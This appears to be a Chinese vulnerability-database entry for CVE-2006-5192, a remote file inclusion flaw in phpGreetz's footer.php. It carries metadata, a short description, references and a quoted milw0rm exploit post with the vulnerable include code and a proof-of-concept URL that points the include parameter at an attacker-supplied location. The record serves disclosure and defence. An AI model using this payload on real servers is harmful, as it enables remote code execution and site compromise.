PHPGreetz 'Footer.PHP'远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111193 漏洞类型 输入验证
发布时间 2006-10-04 更新时间 2006-10-16
CVE编号 CVE-2006-5192 CNNVD-ID CNNVD-200610-120
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2476
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200610-120
|漏洞详情
phpGreetz的includes/footer.php中存在PHP远程文件包含漏洞,远程攻击者可以通过PHPGREETZ_INCLUDE_DIR参数中的URL执行任意PHP代码。
|漏洞EXP
# Author: mozi2weed@yahoo.com mozi
# phpGreetz Remote File Inclusion Vulnerability
# Greetz: Raver #phpfreaks eu.undernet.org
# Greetz: SpiderZ , fUSiON
----------------------------------------------------------------
Download: http://sourceforge.net/project/showfiles.php?group_id=6127
------------------------------------------------------------------
<? include("$PHPGREETZ_INCLUDE_DIR/language/langlist.php"); ?>
("phpgreetz-global.inc.php");
("$PHPGREETZ_INCLUDE_DIR/language/lang.$session_lang.inc.php");
<td colspan="2" valign="top" align="left"><? include($site_location . "/includes/navigation.php"); ?>
$PHPGREETZ_INCLUDE_DIR = "$site_location/includes";
_________________________________________________________________
http://site.com/[path]/includes/footer.php?PHPGREETZ_INCLUDE_DIR=Evil
.
### eu.undernet.org #phpfreaks team
RaVeR -- nutzulake@yahoo.com
mozi -- mozi2weed@yahoo.com mozilla0@hotmail.com
 
#phpfreaks again
# heh tnx

# milw0rm.com [2006-10-04]
|参考资料

来源:XF
名称:phpgreetz-footer-file-include(29346)
链接:http://xforce.iss.net/xforce/xfdb/29346
来源:BID
名称:20352
链接:http://www.securityfocus.com/bid/20352
来源:MILW0RM
名称:2476
链接:http://www.milw0rm.com/exploits/2476
来源:VUPEN
名称:ADV-2006-3915
链接:http://www.frsirt.com/english/advisories/2006/3915
来源:MILW0RM
名称:2476
链接:http://milw0rm.com/exploits/2476